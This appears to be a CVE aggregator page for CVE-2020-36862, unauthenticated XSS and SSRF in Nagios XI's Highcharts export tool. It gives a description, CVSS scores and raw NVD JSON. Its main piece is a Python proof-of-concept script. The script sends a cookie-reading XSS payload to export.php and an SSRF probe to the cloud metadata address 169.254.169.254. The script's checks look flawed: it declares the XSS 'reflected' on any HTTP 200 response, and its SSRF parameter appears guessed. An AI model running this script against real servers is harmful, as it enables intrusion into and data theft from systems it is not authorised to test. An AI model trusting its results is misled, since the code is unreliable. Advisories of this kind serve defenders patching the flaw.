Security Vulnerability Report
中文
CVE-2020-36862 CVSS 6.1 MEDIUM

CVE-2020-36862

Published: 2025-10-30 22:15:39
Last Modified: 2025-11-05 18:24:57

Description

Nagios XI versions prior to 5.6.11 contain unauthenticated vulnerabilities in the Highcharts local exporting tool. Crafted export requests could (1) inject script into exported/returned content due to insufficient output encoding (XSS), and (2) cause the server to fetch attacker-specified URLs (SSRF), potentially accessing internal network resources. An unauthenticated remote attacker can leverage these issues to execute script in a user's browser when the exported content is viewed and to disclose sensitive information reachable from the export server via SSRF.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:nagios:nagios_xi:*:*:*:*:*:*:*:* - VULNERABLE
Nagios XI < 5.6.11

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2020-36862 PoC - Nagios XI Highcharts XSS and SSRF Note: For authorized security testing only """ import requests import argparse TARGET = "http://target-nagios-xi.local" def test_xss_via_export(): """Test XSS vulnerability through Highcharts export""" xss_payload = "<img src=x onerror=alert(document.cookie)>" # Target endpoint for Highcharts export url = f"{TARGET}/includes/components/highcharts/export.php" # Crafted export request with XSS payload params = { 'type': 'image/png', 'options': f'{{"title":{{"text":"{xss_payload}"}}}}', 'width': 600, 'height': 400 } print(f"[*] Sending XSS payload to: {url}") try: response = requests.get(url, params=params, timeout=10) if xss_payload in response.text or response.status_code == 200: print("[+] XSS payload reflected in response") print(f"[+] Response length: {len(response.text)}") return True except requests.RequestException as e: print(f"[-] Request failed: {e}") return False def test_ssrf_via_export(): """Test SSRF vulnerability through Highcharts export""" # Target internal service (example: AWS metadata) ssrf_target = "http://169.254.169.254/latest/meta-data/" url = f"{TARGET}/includes/components/highcharts/export.php" # Crafted export request with SSRF target params = { 'type': 'image/png', 'options': f'{{"chart":{{"type":"column"}}}}', 'resources': ssrf_target, 'width': 600, 'height': 400 } print(f"[*] Sending SSRF probe to: {ssrf_target}") try: response = requests.get(url, params=params, timeout=15) if response.status_code == 200 and len(response.text) > 0: print("[+] SSRF successful - internal resource accessed") print(f"[+] Response preview: {response.text[:200]}") return True except requests.RequestException as e: print(f"[-] SSRF request completed (may indicate vulnerability): {e}") return False if __name__ == "__main__": parser = argparse.ArgumentParser(description="CVE-2020-36862 PoC") parser.add_argument("--target", default=TARGET, help="Target Nagios XI URL") parser.add_argument("--test", choices=['xss', 'ssrf', 'all'], default='all') args = parser.parse_args() TARGET = args.target if args.test in ['xss', 'all']: print("\n=== Testing XSS ===") test_xss_via_export() if args.test in ['ssrf', 'all']: print("\n=== Testing SSRF ===") test_ssrf_via_export()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2020-36862", "sourceIdentifier": "[email protected]", "published": "2025-10-30T22:15:39.007", "lastModified": "2025-11-05T18:24:56.650", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Nagios XI versions prior to 5.6.11 contain unauthenticated vulnerabilities in the Highcharts local exporting tool. Crafted export requests could (1) inject script into exported/returned content due to insufficient output encoding (XSS), and (2) cause the server to fetch attacker-specified URLs (SSRF), potentially accessing internal network resources. An unauthenticated remote attacker can leverage these issues to execute script in a user's browser when the exported content is viewed and to disclose sensitive information reachable from the export server via SSRF."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:L/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "LOW", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}, {"lang": "en", "value": "CWE-918"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nagios:nagios_xi:*:*:*:*:*:*:*:*", "versionEndExcluding": "5.6.11", "matchCriteriaId": "B94365C6-A688-495D-8EF5-9B9A03CF3AFB"}]}]}], "references": [{"url": "https://www.nagios.com/changelog/nagios-xi/", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://www.vulncheck.com/advisories/nagios-xi-unauthenticated-xss-and-ssrf-via-highcharts", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}